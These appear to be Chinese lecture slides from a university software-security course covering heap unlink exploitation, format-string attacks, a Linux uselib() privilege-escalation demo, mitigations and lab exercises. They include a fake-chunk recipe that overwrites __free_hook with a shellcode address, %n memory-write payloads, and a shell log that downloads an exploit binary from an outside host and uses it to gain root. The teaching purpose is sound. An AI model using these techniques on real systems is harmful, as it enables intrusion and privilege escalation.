chunk1->fd <== chunk->fd

chunk0->bk <== chunk->bk

也就是：
chunk->bk + 8 <== chunk->fd

chunk->fd + 12 <== chunk->bk
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目标

unlink宏有两个写内存的操作。 fd被写到
(chunk->bk + 8)中，而bk被写到(chunk->fd + 
12)中

如果能控制fd和bk这两个指针的值，就可以将
任意4个字节内容写到任意一个内存地址中去
！这正是所期望的

目标就是设法控制fd和bk中的内容，并按照期
望触发unlink宏操作，改变程序执行流程

首先必须清楚unlink宏的调用位置
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unlink宏的调用位置

malloc()和free()的实现里面都使用到
了unlink宏。触发malloc()里的unlink
操作比较困难，所以先从free()说起
void free(Void_t* mem){

...
if(chunk_is_mmapped(p)) // 如果IS_MMAPPED位被设置
{

munmap_chunk(p);
return;

}
...
p = mem2chunk(mem);  // 将用户地址转换成内部地址: p = mem - 8
...
chunk_free(ar_ptr, p);

}
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chunk_free的执行流程
如果下一块是top节点，则与之合并

如果上一块是空闲的，则与之合并
p = chunk_at_offset(p, -prevsz);
unlink(p, bck, fwd); /* 从链表中删除上一个结点 */

...
top=(ar_ptr) = p;//合并到top块

如果下一块不是top节点
如果上一块是空闲的，则与之合并

p = chunk_at_offset(p, -prevsz);
unlink(p, bck, fwd); /* 从链表中删除上一个结点 */

如果下一个块是空闲的，则与之合并
unlink(next, bck, fwd); /* 从链表中删除下一个结点 */

如果前后两块都不是空闲的，则做一些设置工作，然后将当
前块插入到空闲链表中
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利用需满足的条件

有3个地方调用了unlink.如果想要执行它
们，需要满足下列条件：

1. 当前块的IS_MMAPPED位必须被清零，否
则不会执行chunk_free()

2. 上一个块是个空闲块 (当前块size的
PREV_INUSE位清零)或者

3. 下一个块是个空闲块(下下一个块（p-

>next->next）size的PREV_INUSE位清零) 
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一个实例程序
#include <stdlib.h>

int main (int argc, char *argv[])

{

char *buf, *buf1;
buf = malloc (16); /* 分配两块16字节内存 */

buf1 = malloc (16);

if (argc > 1)
memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */

printf ("%#p [ buf ] (%.2d) : %s \n", buf, strlen(buf), buf);

printf ("%#p [ buf1 ] (%.2d) : %s \n", buf1, strlen(buf1), buf1);

printf ("From buf to buf1 : %d\n\n", buf1 - buf);

printf ("Before free buf\n");
free (buf); /* 释放buf */

printf ("Before free buf1\n");
free (buf1); /* 释放buf1 */

return 0;

} /* End of main */
heap_overflow.c
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弱点程序分析

弱点程序发生溢出时，可以覆盖下一个块的
内部结构，但是并不能修改当前块的内部结
构，因此条件2是满足不了的。只能寄希望于
条件3

所谓下下一个块的地址其实是由下一个块的
数据来推算出来的，既然可以完全控制下一
个块的数据，就可以让下下一个块的size的
PREV_INUSE位为零。这样程序就会认为下
一个块是个空闲块了
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利用思路

假设当前块为块1,下一个块为块2，下下一个块
为块3，如下图所示：

只要能够通过修改size2，使得next2next指向一个可
以控制的地址；之后在这个地址伪造一个块3，使得
此块的size3的PREV_INUSE位置零即可；然后，在
fd2处填入要覆盖的地址，例如函数返回地址，
.dtors.GOT等等
Solar Designer建议可以使用__free_hook()的地址，
这样再下一次调用free()时就会执行我们的代码。在
bk2处可以填入shellcode的地址

prev_size size 16bytes

块1 buf 块2 buf1

prev_size2 size2 fd2 bk2

伪造块3

prev_size3 size3

..

..
……

p next next2next

next = p + (size & ~PREV_INUSE) 

next2next = next + (size2 & ~(PREV_INUSE|IS_MMAPPED))
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如何构造块？

实际构造的时候块2的结构如下：
prev_size2 = 0x11223344  /* 可以使用任意值 */                                                  

size2 = (next2next - next) /* 这个数值必须是4的倍数 */

fd2 = __free_hook - 12 /* 将shellcode地址刚好覆盖到
__free_hook地址处 */

bk2= shellcode

伪造的块3则要求很低，只需要让size3的
最后一位为0即可：

prev_size3 = 0x11223344 /* 可以使用任意值 */ 

size3 = 0xffffffff & ~PREV_INUSE  /* 这里的0xffffffff可以用
任意非零值替换 */
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伪造块的位置问题

伪造的块3可以放在任意可能的位置，例如块2

的前面或者后面

如果要放在块2的后面，由于size2是4个字节，
因此如果距离比较小的话，那么size2是肯定要
包含零字节的，这会中断数据拷贝，因此距离
必须足够远，以至于四个字节均不为零，堆栈
段是一个不错的选择，通过设置环境变量等方
法也可以准确的得到块3的地址

如果将块3放到块2的前面，那么size2就是个负
值，通常是0xffffffxx等等。这肯定满足size2不
为零的要求，另外，这个距离也可以很精确的
指定。因此决定采用这种方法
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第一种构造方法

在上面的图上，将块3的8字节的内部结构放在
了块1的用户数据区中，而块3的用户数据区实
际上是从块2开始的

但是既然根本不关心块3的prev_size以及数据
段，而块2的prev_size也不关心，因此还可以
有更简化的版本：将块3往右移动4个字节，即
让siez3与prev_size2重合

prev_size size

块1 buf 块2 buf1

fd2 bk2

伪造块3

size2prev_size2size30x11223344……

16bytes

8bytes
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更精简的构造办法

prev_size size

块1 buf 块2 buf1

fd2 bk2

伪造块3

size2prev_size20x11223344……

16bytes

4bytes

size3

这样next2next - next = -4 = 0xfffffffc .则块2就可以重新构造一下：
prev_size2 = 0x11223344 & ~PREV_INUSE  /* 用原来的size3代替 */

size2  =  0xfffffffc /* 长度为-4 */  

fd2     =  __free_hook - 12 /*将shellcode地址刚好覆盖到__free_hook地址处*/

bk2    =  shellcode
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堆溢出 – 小结

要达到利用free()函数调用来攻击的目的
，需要满足以下条件：
1、通过某些漏洞（例如堆溢出）来覆盖将要被

free()的chunk

2、在被覆盖chunk的位置上构造fake_chunk

3、fake_chunk要确保在free()函数调用过程中
运行unlink宏

4、unlink宏所操作的内存将修改程序的流程
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堆溢出 – 小结

一般有两种方法：
1.  如果想利用上一块的unlink进行攻击，需要保证:

I. chunk->size的IS_MMAPPED位为0

II. chunk->size的PREV_INUSE位为0

III. chunk + chunk->prev_size指向一个我们控制的伪造块结
构；

IV. 在一个确定的位置构造一个伪块
2.  如果想利用下一个块的unlink进行攻击，需要保证:

I.  chunk->size的IS_MMAPPED位为0

II.  chunk->size的PREV_INUSE位为1

III.  chunk + nextsz 指向一个我们控制的伪造块结构。
(nextsz = chunk->size & 

~(PREV_INUSE|IS_MMAPPED))

IV. 在一个确定的位置构造一个伪块
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堆溢出 – 其他

前一部分说的都是利用free()的unlink()宏
来改变程序流程的方法，其实在malloc()
中也有unlink()宏，所以如果程序写的有
问题的话，照样可以被用来利用改变程序
流程，例如著名的double-free漏洞利用

新版堆管理算法ptmalloc2引入的fastbin
机制客观上增加了溢出攻击的难度。必须
设法绕过fastbin机制
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堆溢出 – 参考资料

《网络渗透技术》

Heap/bss溢出总结

Ptmalloc2堆溢出利用初探

LIBC环境下double-free堆操作漏洞利用原理
及相关漏洞分析
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本章内容

缓冲区溢出简介

溢出攻击原理

栈溢出的例子

一个溢出和攻击的演示

整数溢出

堆溢出

格式化字符串漏洞

插曲：特权提升漏洞演示

缓冲区溢出攻击的防范
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格式化函数

格式化函数集：

fprintf, printf, sprintf, snprintf, vfprintf, vprintf

vsprintf, vsnprintf

另外还有：

setproctitle, syslog, err*, verr*, warn*, vwarn*
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格式化字符串函数的压栈细节

例:printf ("Number %d has no address, 

number %d has: %08x\n", i, a, &a);
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格式化字符串漏洞的大约情形

错误用法:

Int func (char *user){

printf (user);

}

正确用法:

Int func (char *user){

printf ("%s", user);

}
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格式化字符串漏洞的类型

用户提供部分格式化字符串，例如：
char tmpbuf[512];

snprintf (tmpbuf, sizeof (tmpbuf), "foo: %s", user);

tmpbuf[sizeof (tmpbuf) - 1] = ’\0’;

syslog (LOG_NOTICE, tmpbuf);

用户提供全部格式化字符串，例如：
int Error (char *fmt, ...); …

int someotherfunc (char *user){  ...

Error (user);  ...

}
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通过格式化字符串，我们可以控制什么？

Crash of the program

Viewing the stack    

Viewing memory at any location

Overwriting of arbitrary memory
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Crash of the program

dayin@debian:~/_dak$ cat print.c

#include "stdio.h"

void main()

{

printf ("%s%s%s%s%s%s%s%s%s%s%s%s");

}

dayin@debian:~/_dak$ gcc -g -o print print.c

print.c: In function 'main':

print.c:3: warning: return type of 'main' is not 'int'

dayin@debian:~/_dak$ ./print 
段错误
dayin@debian:~/_dak$ 
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Viewing the stack

dayin@debian:~/_dak$ cat print.c

#include "stdio.h"

void main()

{

printf ("%08x.%08x.%08x.%08x.%08x\n");

}

dayin@debian:~/_dak$ gcc -g -o print print.c

print.c: In function 'main':

print.c:3: warning: return type of 'main' is not 'int'

dayin@debian:~/_dak$ ./print 

4f17ee28.4f17ee38.00000000.5be952e0.5b937b70

dayin@debian:~/_dak$ 
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Viewing memory at any location

dayin@debian:~/_dak$ cat print.c

#include "stdio.h"

void main()

{

printf ("\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|");

}

dayin@debian:~/_dak$ gcc -g -o print print.c

print.c: In function 'main':

print.c:3: warning: return type of 'main' is not 'int'

dayin@debian:~/_dak$ ./print 

_605501f8.60550208.00000000.4aac22e0.4a564b70|(null)|

dayin@debian:~/_dak$ 

address
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Overwriting of arbitrary memory

类似普通缓冲区覆盖函数返回地址

例如：
char outbuf[512];

char buffer[512];

sprintf (buffer, "ERR Wrong command: %400s", user);

sprintf (outbuf, buffer);

提供类似如下的格式化字符串：

"%497d\x3c\xd3\xff\xbf<nops><shellcode>"
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Overwriting of arbitrary memory

完全利用格式化字符串exploit

考虑下面的代码：

char buffer[512];

snprintf (buffer, sizeof (buffer), user);

//这里由于存在长度限制，无法使缓冲区溢出，怎么办？

buffer[sizeof (buffer) - 1] = ’\0’;
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Overwriting of arbitrary memory

完全利用格式化字符串exploit
幸好，存在一种格式化字符串%n，可以用来
攻击先前的那段代码
%n用来向某个整数指针所指的整数变量里写
入先前已经输出的字符数，例如：

int i;

printf ("foobar%n\n", (int *) &i);

printf ("i = %d\n", i);

将打印出“i = 6”，
利用这个性质，可以向任何内存写入一个数，
例如：
"\xc0\xc8\xff\xbf_%08x.%08x.%08x.%08x.%08x.%n"
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参考资料

Exploiting Format String Vulnerabilities

version 1.2

scut / team teso

September 1, 2001
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溢出攻击原理

栈溢出的例子

一个溢出和攻击的演示

整数溢出

堆溢出

格式化字符串漏洞

插曲：特权提升漏洞演示

缓冲区溢出攻击的防范
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特权提升漏洞演示

Linux Kernel uselib()特权提升漏洞

CVE(CAN) ID: CAN-2004-1235

BUGTRAQ ID: 12190

在debian2.4.18上测试成功

复原root密码

通过权限提升获得root权限

通过passwd复原root密码为 infosec
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dayin@debian:~$ wget http://202.38.64.11/~sycheng/cs/tools/getroot.exe
dayin@debian:~$ chmod +x getroot.exe
dayin@debian:~$ id
uid=1000(dayin) gid=1000(dayin) groups=1000(dayin)
dayin@debian:~$ ./getroot.exe 

child 1 VMAs 0
[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xc3000000 - 0xc5c33000

Wait... |
[+] race won maps=6364

expanded VMA (0xbfffc000-0xffffe000)
[!] try to exploit 0xc384c000
[+] gate modified ( 0xffec93fe 0x0804ec00 )
[+] exploited, uid=0

sh-2.05b# id
uid=0(root) gid=0(root) groups=1000(dayin)
sh-2.05b# passwd
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
sh-2.05b# exit
exit
dayin@debian:~$

http://202.38.64.11/~sycheng/cs/tools/getroot.exe
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本章内容

缓冲区溢出简介

溢出攻击原理

栈溢出的例子

一个溢出和攻击的演示

整数溢出

堆溢出

格式化字符串漏洞

插曲：特权提升漏洞演示

缓冲区溢出攻击的防范
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缓冲区溢出攻击的防范

软件漏洞利用缓解及其对抗技术演化
（VARA’11）

栈保护及对抗

堆保护及对抗

地址随机化保护及对抗

数据执行保护及对抗

沙箱保护及逃逸

保护技术路线
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推荐网站

www.phrack.org

http://www.packetstormsecurity.nl/

http://www.securityfocus.com

http://cve.mitre.org/

http://metasploit.com:55555/PAYLOADS

http://www.phrack.org/
http://www.packetstormsecurity.nl/
http://www.securityfocus.com/
http://cve.mitre.org/
http://metasploit.com:55555/PAYLOADS
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实验基础知识

AT&T Assembler

Compiler 

GCC & GDB
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实验一

下列函数在调用时，栈上的内存分配情况如
何？画出栈上内存空间示意图。

void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
printf(“a = %d\n”, a); //suggested breakpoint

}

int main() {
function(1,2,3);

}

WatchStack.c
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实验二

栈溢出
观察缓冲区溢出

my_gdb.c

改写返回地址
ovr_ret.c

Shellcode的编写
shellcode.c

Shellcode的植入
shellcode_e_1.c

shellcode_e_2.c

读懂代码，观察现象，通过调试查找原因
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实验三

整数溢出

宽度溢出

int_width_overflow.c

int_width_overflow_2.c 

算术溢出

int_arithmetic_overflow.c

int_arithmetic_overflow_2.c

说明程序中存在的安全问题，如何触发？
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注意：知其然，知其所以然

改变buffer1/buffer2的大小，在语句“x=1;”处
添加其他语句，如何调整程序，使打印结果仍
然为0？

如550，“x=1 ;”“x=x+1;”

void function(int a, int b, int c)

{

char buffer1[5];

char buffer2[10];

int *ret;

ret = buffer1 + 12;

(*ret) += 8;

}

void main()

{

int x;

x = 0;

function(1,2,3);

x = 1;

printf("%d\n",x);

}
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小结

熟悉栈溢出和整数溢出原理

学会用gdb调试

测试缺陷时，能够通过调试，对代码进行修
改，以使测试通过


